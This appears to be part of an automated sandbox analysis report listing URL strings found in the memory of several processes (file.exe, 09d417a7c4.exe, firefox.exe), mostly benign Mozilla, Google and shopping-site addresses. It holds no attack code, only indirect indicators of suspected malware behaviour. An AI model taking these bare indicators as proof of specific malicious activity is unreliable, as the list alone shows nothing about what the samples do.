Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000002.3134271614.000002550E9D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.3112335102.0000025509C23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helppromiseLangPacksUpda
Source: firefox.exe, 0000001B.00000002.3124935486.000002550B992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschrome://browser/content/mi
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesstartMigration
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationSetting
Source: 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgpictureinpicture.settingsaccount-connection-disconnectedhttps://screensho
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168469496.00001C9FBA704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3170995539.000030CEEEC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.0000025509303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168469496.00001C9FBA704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A0A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.0000025509303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2126652942.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126806636.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126725116.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-
Source: file.exe, 00000000.00000003.2126603283.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.2126652942.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126806636.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learninga
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001B.00000002.3168469496.00001C9FBA704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550741D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001B.00000003.2936993382.000002551030A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.00000255104B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2929941609.000002551021C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/Failed
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3138012152.000002551012A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.00000255104B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A0A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.00000255104B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000002.3090601585.0000025508DA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3152189016.000002557F203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171504335.0000328611F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3037710941.0000025505931000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.0000025578211000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.00000255093AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001B.00000003.2960052954.0000025509663000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2963561397.0000025509656000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2966789542.00000255096DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2170041257.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3107641537.000002550972A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/intervention-update-refresh-confirmresource:///modules/UrlbarTok
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2170041257.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3107641537.000002550972A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3150564022.000002557F140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2170041257.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2819535440.0000000005E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3119712014.000002550A939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3152189016.000002557F2D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168469496.00001C9FBA704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A0A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.0000025509303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168469496.00001C9FBA704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A0A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.0000025509303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168803607.0000223F7B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3136304541.0000025510018000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082366027.0000025508465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3120468368.000002550AA8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.3142094936.0000025510A80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550741D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550744C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3120468368.000002550AABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
